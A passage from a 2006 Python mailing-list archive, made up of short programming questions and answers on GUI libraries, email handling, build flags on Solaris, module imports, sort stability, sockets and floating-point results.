in suck pretty hard, especially when they stem from a north-western US 
state.

diez


From pydecker at gmail.com  Tue Oct 24 20:33:15 2006
From: pydecker at gmail.com (Peter Decker)
Date: Tue, 24 Oct 2006 20:33:15 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <1161733108.610956.220920@b28g2000cwb.googlegroups.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<mailman.1107.1161716343.11739.python-list@python.org>
	<1161733108.610956.220920@b28g2000cwb.googlegroups.com>
Message-ID: <ca55a9900610241733m686cf072pc3c69f911505b71e@mail.gmail.com>

On 24 Oct 2006 16:38:28 -0700, Eric_Dexter at msn.com <Eric_Dexter at msn.com> wrote:

> You load dabo and then load your program through dabo...  That
> was all I needed to know to disregard it.

Wow - inaccurate and proud of it!

Your loss.

-- 

# p.d.


From grflanagan at yahoo.co.uk  Mon Oct 23 15:07:31 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 23 Oct 2006 12:07:31 -0700
Subject: Handling emails
In-Reply-To: <mailman.967.1161596728.11739.python-list@python.org>
References: <mailman.967.1161596728.11739.python-list@python.org>
Message-ID: <1161630451.506987.207820@h48g2000cwc.googlegroups.com>


Fulvio wrote:
>
> Hello,
>
> I'd like to ask some clue to move further on my project :-)
> The purpose would be to gather all emails (local and remote ones) to do some
> backup.
> I've tried to get ideas by reading all about the modules enclose with python,
> but neither email framework nor mailbox give me the idea how to handle *one*
> email complete of payload and attachment (if any).

The 'PopClient' class here might help you:

   http://gflanagan.net/site/python/pagliacci/pagliacci.py.html

A script I use is here:

   http://gflanagan.net/site/python/pagliacci/getpopmail.py.html

There's a woeful lack of comments but hopefully you can figure it out!
It saves emails to the filesystem along with attachments.  (Note that
the POP account passwords are stored as plain text.) It checks a mail's
message-id and doesn't download if it already has been downloaded.

hth

Gerard



From miles.chris at gmail.com  Fri Oct 13 08:47:16 2006
From: miles.chris at gmail.com (Chris Miles)
Date: Fri, 13 Oct 2006 13:47:16 +0100
Subject: Cannot force configure/setup.py to pick up location of readline
	(SFWrline) on Solaris 10
Message-ID: <ego1sl$18p$1@sea.gmane.org>

On a standard Solaris 10 installation with Sun-supplied open-source 
packages installed (like SFWrline for readline libs) I cannot seem to 
force Python configure/setup.py to build with readline support.

SFWrline installs readline in /opt/sfw/lib & /opt/sfw/include

(This is all attempted with Python-2.4.3 on Solaris 10 06/06 i386)

With this configure:
./configure --prefix=/opt/python-2.4.3 --enable-shared 
CPPFLAGS=-I/opt/sfw/include CFLAGS=-I/opt/sfw/include LDFLAGS=-L/opt/sfw/lib

The resulting output includes:
...
checking for rl_callback_handler_install in -lreadline... yes
checking for rl_pre_input_hook in -lreadline... yes
checking for rl_completion_matches in -lreadline... yes
...


and config.log contains:
...
ac_cv_lib_readline_rl_callback_handler_install=yes
ac_cv_lib_readline_rl_completion_matches=yes
ac_cv_lib_readline_rl_pre_input_hook=yes
...


However, make doesn't build a readline module and I think this is 
because setup.py is not taking the custom *FLAGS into account.  Even if 
I export them as environment variables, I get no readline module.

How do I force the build to use the custom paths?

And/or: can we teach configure/setup.py to include /opt/sfw/ when on 
Solaris, as this is the standard location for Sun's supplied open-source 
packages (ie: on the Companion disc) ?

btw: an answer to this is not to install other 3rd party readline 
packages such as from sunfreeware.com or blastwave, as that should not 
be necessary when Sun supply the packages themselves (and some 
organisations will not allow those packages).

Cheers,
Chris

-- 
http://chrismiles.info/



From vatamane at gmail.com  Tue Oct  3 03:12:05 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 3 Oct 2006 00:12:05 -0700
Subject: switch user
References: <1159846677.054196.128000@i42g2000cwa.googlegroups.com>
Message-ID: <1159859525.410148.157880@k70g2000cwa.googlegroups.com>

Check out the os module, especially the
os.getgid(),
os.getuid(),
os.setgid(),
os.getuid(),
methods. There are more , take at a look at Python documentation.

You can start a script as root then change your priveleges with
os.setgid() os.setuid() methods. Note: those methods operate with
integer user and group IDs, not with user and group names.

Hope that helps,
-Nick Vatamaniuc


s99999999s2003 at yahoo.com wrote:
> hi
>
> due to certain constraints, i will running a python script as root
> inside this script, also due to some constraints, i need to switch user
> to user1 to run the 
> rest of the script...is there a way ?thanks



From spitfire2525 at yahoo.com  Sun Oct  1 18:28:01 2006
From: spitfire2525 at yahoo.com (Peter Mexbacher)
Date: Mon, 02 Oct 2006 00:28:01 +0200
Subject: Simple but fast 2D lib for drawing pixels
In-Reply-To: <1159706488.576589.82080@i3g2000cwc.googlegroups.com>
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
	<1hmhych.1jaomee1msbzi8N%aleax@mac.com>
	<1159706488.576589.82080@i3g2000cwc.googlegroups.com>
Message-ID: <4520408d$0$26622$91cee783@newsreader01.highway.telekom.at>

Hello,

we want to teach absolute programming newbies
a first language, so they can start programming
simple scientific models.

We thought Python would make a good choice for
a first language; but where pretty stumped when
we found out that there is no simple way to draw
pixels to a screen. (This is needed for fractals,
agent-based models etc -> like Conways Game of Life)

Our requirements:

-) easy to learn (newbs!)
-) not too slow (after all, the models should simulate something)
-) python :-)

Any ideas?

Best Regards,
Peter


From no-spam at no-spam-no-spam.com  Sat Oct 28 07:53:46 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 28 Oct 2006 13:53:46 +0200
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
Message-ID: <ehvgce$85h$1@news.albasani.net>

noamsml at gmail.com wrote:
> Hi,
> 
> I am new to python and am currently writing my first application. One
> of the problems I quickly ran into, however, is that python's imports
> are very different from php/C++ includes in the sense that they
> completely wrap the imported script in a module object. One of the
> problems with this was that a plugin system that I am making requires
> use of objects, classes and the such from the original script. Thus, on
> one hand, I am hesitant to use execfile(), since I *do* want to wrap
> the plugin up, but on the other hand, I want the plugin to be able to
> use functions from the original script. Any ideas?
> 

you can import __main__ in your module: import __main__; __main__.app_xfunc(y)

But for most cases I'd say your "problem" is an indication of weak design (thanks to Pythons clear module tech).

Maybe:

* if the funcs are tools, put them in an extra module

* if its about app-global parameters(tools), make a module "myglob" or so

* if the funcs have app-context, hand over/set them as "callback" functions or iterators like ..

def app_xfunc(par):pass
mody.set_xhandler(app_xfunc)
mody.yfunc(a,b,..., cbProgress=app_xfunc)
def app_xstepper():
    yield next
mody.yfunc2(a,b,..., step=app_xstepper)
...


* if you have 2 moduls on equal dependency level and each needs the other (sometimes) - thus you don't want to have one big module, then cross import them ..

#modx
import mody
def fx():
    mody.doy()
#mody
import modx
def fy():
    modx.dox()


Python allows everything most easy for that kind of problems of all langs I know of. Mainly the fact that a module is a real object in Python provides tremendous flexibility and self-similarity of techniques. Ruby for example is weired - even really bad - in this.

-robert


From bj_666 at gmx.net  Thu Oct 26 08:47:33 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 26 Oct 2006 14:47:33 +0200
Subject: python html 2 image (png)
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>
	<4q9l3cFm97ffU1@uni-berlin.de>
Message-ID: <pan.2006.10.26.12.47.32.144538@gmx.net>

In <4q9l3cFm97ffU1 at uni-berlin.de>, Diez B. Roggisch wrote:

> Whatever lunix is, [?]

An operating system for the Commodore?64.  `LUnix NG` Website:

  http://lng.sourceforge.net/

:-)

Ciao,
	Marc 'BlackJack' Rintsch


From Roka100 at gmail.com  Wed Oct 18 03:20:50 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 18 Oct 2006 00:20:50 -0700
Subject: How to convert this list to string?
Message-ID: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>

Hi all

 I have a list like:

>>> list
[1, 2, 3]
>>> list[1:]
[2, 3]

I want to get a string "2 3"

>>> str(list[1:])
'[2, 3]'

How can I do that ?

thanks



From sturlamolden at yahoo.no  Sun Oct 22 10:37:08 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 22 Oct 2006 07:37:08 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <1161512938.035392.32670@m7g2000cwm.googlegroups.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
	<1161443842.206948.145300@i42g2000cwa.googlegroups.com>
	<1161447186.938144.35810@f16g2000cwb.googlegroups.com>
	<1161512938.035392.32670@m7g2000cwm.googlegroups.com>
Message-ID: <1161527827.994682.286800@h48g2000cwc.googlegroups.com>


Wektor wrote:

> I ment in the GUI context , a widget-based api where you can put
> buttons, labels etc. on a form.

You mean GTK?

GTK 2.8 uses an abstraction layer for drawing widgets called "Cairo".
Cairo can use OpenGL or Quartz as backends (still experimental). Thus,
you can get a hardware-accelerated GUI from PyGTK if you are willing to
use an experimental backend in Cairo. 


http://cairographics.org/



From s99999999s2003 at yahoo.com  Thu Oct  5 23:09:36 2006
From: s99999999s2003 at yahoo.com (s99999999s2003 at yahoo.com)
Date: 5 Oct 2006 20:09:36 -0700
Subject: printing variables
In-Reply-To: <mailman.1398.1160103912.10491.python-list@python.org>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
	<mailman.1398.1160103912.10491.python-list@python.org>
Message-ID: <1160104176.281125.121740@k70g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> s99999999s2003 at yahoo.com wrote:
>
>  > say i have variables like these
>  >
>  > var1 = "blah"
>  > var2 = "blahblah"
>  > var3 = "blahblahblah"
>  > var4 = "...."
>  > var5 = "..."..
>  >
>  > bcos all the variable names start with "var", is there a way to
>  > conveniently print those variables out...
>
> do you often (or always) treat these as a collection ?  why not just put
> the values in a list (or tuple) instead ?
>
> </F>

Thanks all for the answers. Yup, i think i will use dicts/tuples/lists
instead...



From fredrik at pythonware.com  Tue Oct 10 13:47:50 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 19:47:50 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <m2wt782j4y.fsf@ordesa.local>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>	<mailman.32.1160258060.11739.python-list@python.org>	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>	<mailman.34.1160260043.11739.python-list@python.org>	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<m2wt782j4y.fsf@ordesa.local>
Message-ID: <eggmcb$upr$1@sea.gmane.org>

Piet van Oostrum wrote:

> The official Python documentation (language reference manual) talks a lot
> about variables. So it seems silly to say that Python doesn't have
> variables.

the language reference mostly uses the term "variables" when discussing 
local variables and instance variables, and is (usually) careful to talk 
about "names" when talking about binding behaviour.

for example, the description of the assignment statement:

   http://www.python.org/doc/2.4.3/ref/assignment.html

only uses "variable" twice, in a note that discussing a given code 
example.  the more formal parts of that page consistently use the term 
"name".

it's often a good idea to be a bit careful when discussing detailed 
behaviour, especially in contexts where the audience may associate 
variables with "small areas of memory".

(it's also important to realize that the language reference is a hodge-
podge of incremental revisions with no grand plan behind it; it was a 
bit more consistent when Guido wrote the first version.)

</F>



From kwevans at gmail.com  Tue Oct 17 09:44:39 2006
From: kwevans at gmail.com (kevin  evans)
Date: 17 Oct 2006 06:44:39 -0700
Subject: Newbie: datetime conversion question
In-Reply-To: <nJ4Zg.28314$Go3.15068@dukeread05>
References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com>
	<yt4Zg.28313$Go3.7157@dukeread05>
	<mailman.633.1161090826.11739.python-list@python.org>
	<nJ4Zg.28314$Go3.15068@dukeread05>
Message-ID: <1161092679.623204.319460@f16g2000cwb.googlegroups.com>

Great stuff - many thanks


hg wrote:
> Carsten Haese wrote:
> > On Tue, 2006-10-17 at 08:49, hg wrote:
> >> import time
> >> "%08X"% (int)(time.mktime(time.localtime()))
> >
> > Have you not had your coffee yet or are you trying to win an obfuscated
> > python programming competition? ;)
> > 
> > -Carsten
> > 
> > 
> Just one cup
> 
> hg



From johnjsal at NOSPAMgmail.com  Wed Oct 25 16:54:07 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 20:54:07 GMT
Subject: cleaner way to write this?
In-Reply-To: <7x64e815tb.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<2qP%g.161$1n3.4136@news.tufts.edu>
	<7x64e815tb.fsf@ruckus.brouhaha.com>
Message-ID: <P9Q%g.162$1n3.3913@news.tufts.edu>

Paul Rubin wrote:
> John Salerno <johnjsal at NOSPAMgmail.com> writes:
>> Interesting idea to use try/finally to ensure that dlg.Destroy() runs
>> even with a return earlier in the method. 
> 
> Note that the code is wrong, the dialog should either be created
> outside the while loop, or destroyed inside it.  I don't know wx so
> I'm not sure which of those is correct.  But the version I posted
> potentially creates multiple dialogs and destroys only one of them.

oh you're right...seems like it will happen if the error occurs....


From outstretchedarm at hotmail.com  Fri Oct 27 15:32:14 2006
From: outstretchedarm at hotmail.com (Omar)
Date: 27 Oct 2006 12:32:14 -0700
Subject: More Noob Questions
In-Reply-To: <eh7qh8$jfk$1@cernne03.cern.ch>
References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
	<eh7qh8$jfk$1@cernne03.cern.ch>
Message-ID: <1161975562.279115.237510@i42g2000cwa.googlegroups.com>


Roberto Bonvallet wrote:
> Omar wrote:
> > more to come!
>
> Please, use a more meaningful subject next time, like "Integration of
> Python and Flash" or "Where can I find vido tutorials".  That way it will
> be easier to people that knows about the subject to find your message and
> answer you.
>
> And please think of us, non-native English speakers, that don't know slang
> words like "noob" that don't even appear in the dictionaries and don't add
> anything to your question.
> 
> Cheers,
> -- 
> Roberto Bonvallet



From tdelaney at avaya.com  Wed Oct 25 01:37:34 2006
From: tdelaney at avaya.com (Delaney, Timothy (Tim))
Date: Wed, 25 Oct 2006 15:37:34 +1000
Subject: Sorting by item_in_another_list
Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com>

Fredrik Lundh wrote:

> Delaney, Timothy (Tim) wrote:
> 
>> This is a requirement for all implementations claiming to be 2.3 or
>> higher.
> 
> the language reference only guarantees this for CPython:
> 
>      The C implementation of Python 2.3 introduced a stable
>      sort() method, but code that intends to be portable across
>      implementations and versions must not rely on stability.

http://docs.python.org/lib/typesseq-mutable.html

(9) Starting with Python 2.3, the sort() method is guaranteed to be
    stable. A sort is stable if it guarantees not to change the
    relative order of elements that compare equal -- this is helpful
    for sorting in multiple passes (for example, sort by department,
    then by salary grade).

That says pretty strongly to me that it's part of the language
specification. And I'm pretty sure Guido said as much when he
pronounced.

Tim Delaney


From sjmachin at lexicon.net  Sun Oct  8 09:23:24 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 06:23:24 -0700
Subject: Bizzare lst length problem
In-Reply-To: <mailman.55.1160313631.11739.python-list@python.org>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
	<mailman.55.1160313631.11739.python-list@python.org>
Message-ID: <1160313804.076356.278210@c28g2000cwb.googlegroups.com>


Theerasak Photha wrote:
> On 8 Oct 2006 06:12:48 -0700, John Machin <sjmachin at lexicon.net> wrote:
>
> >
> > Show us the code that is creating instances of the panel class ...
> >
> > panel1 =
> > panel(number=?,level=?,location=?,mops=????????????????,matrix=?)
> > What are you passing as the 4th positional arg
> > ^^^^^^^^^^^^^^^^^^^^^^^ ???
>
> This is wholly unnecessary.
> 
> -- Theerasak


What is wholly unnecessary?



From rowen at cesmail.net  Wed Oct  4 14:15:48 2006
From: rowen at cesmail.net (Russell E. Owen)
Date: Wed, 04 Oct 2006 11:15:48 -0700
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
Message-ID: <rowen-E7230A.11154804102006@gnus01.u.washington.edu>

In article <mailman.1242.1159951684.10491.python-list at python.org>,
 "Hendrik van Rooyen" <mail at microcorp.co.za> wrote:

>Hi,
>
>I get the following:
>
>hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
>UpdateStringProc should not be invoked for type font
>Aborted
>...
>Everything seems to work fine. - there is a thread that runs to move the meter
>values around continuously, and this has been stable for some time now, and I
>can get the various "machine" parts to move around the screen by pushing the
>buttons...

You mention threads several times in your posting. Do you have multiple 
threads talking to Tkinter? If so, try recoding to avoid this (e.g. by 
having the background threads communicate with the main thread via 
Queues).

-- Russell


From tier at inbox.ru  Tue Oct 24 08:48:58 2006
From: tier at inbox.ru (Roman Petrichev)
Date: Tue, 24 Oct 2006 16:48:58 +0400
Subject: multythreading app memory consumption
In-Reply-To: <453DDCF4.3030106@bullseye.andymac.org>
References: <mailman.952.1161559842.11739.python-list@python.org>	<lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>	<LHh%g.2593$T_1.832@newssvr14.news.prodigy.com>
	<453DDCF4.3030106@bullseye.andymac.org>
Message-ID: <453E0BBA.7020409@inbox.ru>

Thank you guys for your replies.
I've just realized that there was no memory leak and it was just my 
mistake to think so. I've almost disappointed with my favorite 
programming language before addressing the problem. Actually the app 
consume as much memory as it should and I've just miscalculated.
Regards


From gerrit at nl.linux.org  Tue Oct  3 13:24:41 2006
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 3 Oct 2006 19:24:41 +0200
Subject: PEP 358 and operations on bytes
Message-ID: <20061003172441.GA28391@topjaklont.student.utwente.nl>

Hi,

In Python 3, reading from a file gives bytes rather than characters.
Some operations currently performed on strings also make sense when
performed on bytes, either if it's binary data or if it's text of
unknown or mixed encoding. Those include of course slicing and other
operators that exist in lists, but also other operations that aren't
currently defined in PEP 358, like:

    - str methods endswith, find, partition, replace, split(lines),
      startswith,
    - Regular expressions

I think those can be useful on a bytes type. Perhaps bytes and str could
share a common parent class? They certainly share a lot of properties
and possible operations one might want to perform.

kind regards,
Gerrit Holl.

-- 
My first English-language post ever was made to this newsgroup:
http://groups.google.com/group/comp.lang.python/msg/f957acf785ddfb71 :)


From g.brandl-nospam at gmx.net  Sun Oct 29 09:16:05 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sun, 29 Oct 2006 15:16:05 +0100
Subject: enumerate improvement proposal
In-Reply-To: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
Message-ID: <ei2d35$c8c$1@news.albasani.net>

James Stroud wrote:
> I think that it would be handy for enumerate to behave as such:
> 
> def enumerate(itrbl, start=0, step=1):
>    i = start
>    for it in itrbl:
>      yield (i, it)
>      i += step
> 
> This allows much more flexibility than in the current enumerate, 
> tightens up code in many cases, and seems that it would break no 
> existing code. Yes, I have needed this behavior with enumerate, like 
> tonight and the current example. I put the "step" parameter in for 
> conceptual symmetry with slicing.
> 
> Here is a case use (or is it use case?):

Incidentally, I yesterday wrote a patch giving enumerate() a start parameter
(and, more importantly, changing it so that it doesn't wraparound at 
sys.maxint). It can be found here:

https://sourceforge.net/tracker/?func=detail&atid=305470&aid=1586315&group_id=5470

Georg


From paul at subsignal.org  Mon Oct 16 09:21:11 2006
From: paul at subsignal.org (paul)
Date: Mon, 16 Oct 2006 15:21:11 +0200
Subject: Convert StringIO to string
In-Reply-To: <021201c6f11e$44bdf350$fde92452@bowlas>
References: <021201c6f11e$44bdf350$fde92452@bowlas>
Message-ID: <eh0103$oee$1@sea.gmane.org>

Jonathan Bowlas schrieb:
> Hi listers,
> 
> I've written this little script to generate some html but I cannot get it to
> convert to a string so I can perform a replace() on the &gt;, &lt;
> characters that get returned.
> 
> from StringIO import StringIO
> 
> def generator_file(rsspath,titleintro,tickeropt): 
> 	scripter=StringIO()
> 	scripter.write('<script type="text/javascript">\n')
> 	scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath,
> titleintro, tickeropt))
> 	scripter.write('</script>\n')
> 	return scripter.getvalue()
> 
> I tried adding this:
> 
> scripter = scripter.replace("&lt;", "<")
> scripter = scripter.replace("&gt;", ">")
I'm not sure why you are using a StringIO instance here, but the
standard library has all you need:

from StringIO import StringIO
from xml.sax.saxutils import escape, unescape

def generator_file(rsspath, titleintro, tickeropts):
  #unescape your strings first
  rsspath, titleintro, tickeropts = map(unescape, [rsspath, titleintro,
tickeropts])
  scripter=StringIO()
  scripter.write('<script type="text/javascript">\n')
  scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath, titleintro,
tickeropt))
  scripter.write('</script>\n')
  return scripter.getvalue()

I'm still curious what all this StringIO stuff is for ;)

cheers
 Paul





From steve at holdenweb.com  Mon Oct  2 11:36:24 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 16:36:24 +0100
Subject: How can I correct an error in an old post?
In-Reply-To: <slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <efrbk5$gg5$1@sea.gmane.org>

Jorgen Grahn wrote:
> On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com <barakad at gmail.com> wrote:
> ....
> 
>>and I wish to add my findings to the post, to prevent others from
>>taking the wrong path.
> 
> 
>>When I tried to replay to the post I received a reject message stating
>>that it is impossible to replay to the topic since it is old and was
>>closed by a manager.
> 
> 
> That's through the Google Groups Usenet interface, right? Because on Usenet,
> that's misleading at best -- we have no managers, and noone can "close a
> topic". (It's alright for them to add this extra limitation, of course.)
> 
> 
>>The question is how can I add this correction?
> 
> 
> In Usenet terms, make a posting with a References: header which mentions the
> Message-ID of the bad posting (just like this posting references yours, if
> you look closely at the headers).  That's easier if the posting hasn't
> already expired on your server, but by no means impossible if it has.
> 
> /Jorgen
> 
Since this message was never on topic, I'd appreciate it if all 
concerned would close this thread now.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From p.lavarre at ieee.org  Wed Oct 18 11:30:36 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 18 Oct 2006 08:30:36 -0700
Subject: doctest quiet again before exit how
References: <1161043970.812443.252220@m7g2000cwm.googlegroups.com>
Message-ID: <1161185436.494520.301650@b28g2000cwb.googlegroups.com>

> ... every run of doctest after the first is verbose ...
> *** DocTestRunner.merge: '__main__' in both testers; summing outcomes.

Another path to the same bug:

import doctest
print doctest.testfile(__file__, verbose=False)
print doctest.testfile(__file__, verbose=False)

Mystifiedly yours, rank Python newbie, Pat LaVarre



From steve at holdenweb.com  Wed Oct  4 10:23:25 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 15:23:25 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<1159908166.587313.57370@i3g2000cwc.googlegroups.com>	<7xr6xo97nd.fsf@ruckus.brouhaha.com>	<efv582$6i9$1@sea.gmane.org>
	<87ac4ciynk.fsf@benfinney.id.au>	<mailman.1222.1159934082.10491.python-list@python.org>
	<1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com>
Message-ID: <eg0g39$6e7$2@sea.gmane.org>

Valentino Volonghi aka Dialtone wrote:
> Terry Reedy <tjreedy at udel.edu> wrote:
> 
> 
>>As I understood B.C.'s announcement, that was one of the judging criteria,
>>and the plan is for PSF to get a daily backup dump of the data.
> 
> 
> This had nothing to do with the choice of not using Trac or Launchpad.
> 
> Quoting Brett Cannon from the original mail:
> ""
> As for Trac and Launchpad, both had fundamental issues that led to them
> not being chosen in the end.  Most of the considerations had to do with
> customization or UI problems.
> ""
> 
> So clearly the 'get a daily backup of the data' is not the reason.
> Backing up a sqlite database is pretty easy.
> 
Do you have any idea fo the scale of the Python issue (bug) database? Do 
you really think SQLite would be a suitable platform for it?

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Sun Oct 22 14:04:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 20:04:25 +0200
Subject: How to print a file in binary mode
In-Reply-To: <1161534573.273402.148740@k70g2000cwa.googlegroups.com>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>	<pan.2006.10.22.13.06.08.86072@gmx.net>	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>	<mailman.940.1161528936.11739.python-list@python.org>	<1161533394.483372.140500@m7g2000cwm.googlegroups.com>
	<1161534573.273402.148740@k70g2000cwa.googlegroups.com>
Message-ID: <ehgbr6$nsd$1@sea.gmane.org>

Lucas wrote:

> # How can I display a.jpg's binary code?

looks like you're confusing binary numbers with binary files:

http://en.wikipedia.org/wiki/Binary_numeral_system
http://en.wikipedia.org/wiki/Binary_file

you don't really need the former to encrypt the contents of the file; 
algorithms tend to work just fine no matter what number system you use 
to represent the input and output data.

</F>



From g.brandl-nospam at gmx.net  Mon Oct  9 08:32:01 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Mon, 09 Oct 2006 14:32:01 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <egdcop$4c0$1@wake.carmen.se>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1259.1159965132.10491.python-list@python.org>
	<egdcop$4c0$1@wake.carmen.se>
Message-ID: <egdfg1$2fq$1@news.albasani.net>

Magnus Lycka wrote:
> Fredrik Lundh wrote:
>> you're not on the infrastructure list, I hear.  
> 
> I tried to figure out where that list is, so I could have
> a look at the archives, but I didn't find it in the (for
> me) obvious places. Could someone please provide a link
> to the archives for this mailing list, or aren't there
> any public archives of them? Only for PSF members?

The archives are viewable for list members. The list info is at
http://mail.python.org/mailman/listinfo/infrastructure

>> python.org could still need a few more roundup volunteers,
>  > but it's not like nobody's prepared to contribute manhours.
>  > don't underestimate the community.
> 
> So, how many have offered to help? Is this information
> available in some public repository?

Not yet, as it seems.

Georg


From hiroc13 at hotmail.com  Wed Oct  4 04:18:12 2006
From: hiroc13 at hotmail.com (hiroc)
Date: 4 Oct 2006 01:18:12 -0700
Subject: hex sending
Message-ID: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>

s.send("abc") # send test string

I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc"

hoW?



From r3bol at yahoo.com  Sun Oct  8 08:09:32 2006
From: r3bol at yahoo.com (r3bol at yahoo.com)
Date: 8 Oct 2006 05:09:32 -0700
Subject: Newbie - Stuck
Message-ID: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>

The perl version of this code works but not the python version. What am
I doing wrong?

message = "abc"
password = "z12"

scrambled = message ^ password

I also wondered why this errored as well...

int(messege)

Is it not meant to convert a string to a number?



From enleverlesX.XmcX at XmclaveauX.com  Fri Oct  6 14:18:27 2006
From: enleverlesX.XmcX at XmclaveauX.com (Méta-MCI)
Date: Fri, 6 Oct 2006 20:18:27 +0200
Subject: News on versions modules for Python-2.5? 
Message-ID: <45269df8$0$25949$ba4acef3@news.orange.fr>

Hi, all!


Any news, on release Python-2.5 for many modules/lib?
Some exemples:

    Console (Effbot)
    SciPy
    Iconvcodec
    DirectPython
    SendKeys
    Dislin
    PyGame
    Twain
    etc.


And who can confirm that these modules are independent of Python version?

    ReportLab
    Pyrex
    ComTypes
    PythonNet
    Gmpy
    Kodos
    Candygram
    Venster
    etc.


(tip: I am on windows, and I don't can/know compile any module)

Thanks by advance, and sorry for eventuals troubles (and for my "super" 
english)...


Michel Claveau






From chrispatton at gmail.com  Sun Oct 15 00:22:17 2006
From: chrispatton at gmail.com (Chris)
Date: 14 Oct 2006 21:22:17 -0700
Subject: problem with the 'math' module in 2.5?
In-Reply-To: <mailman.525.1160885677.11739.python-list@python.org>
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<Xns985CF34C93A44maxericksongmailcom@80.91.229.5>
	<mailman.525.1160885677.11739.python-list@python.org>
Message-ID: <1160886137.302215.3260@h48g2000cwc.googlegroups.com>

I don't understand what that number came from. My calculator gives me
cos(pi*.5) = 0, and my interpreter gives me cos(pi*0.5) =
6.1230317691118863e-017.

Max Erickson wrote:
> Max Erickson <maxerickson at gmail.com> wrote:
> >
> > Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2).
> > 
> 
> Uhh, switch that, cos(pi*0.5)...



From timr at probo.com  Thu Oct  5 03:38:45 2006
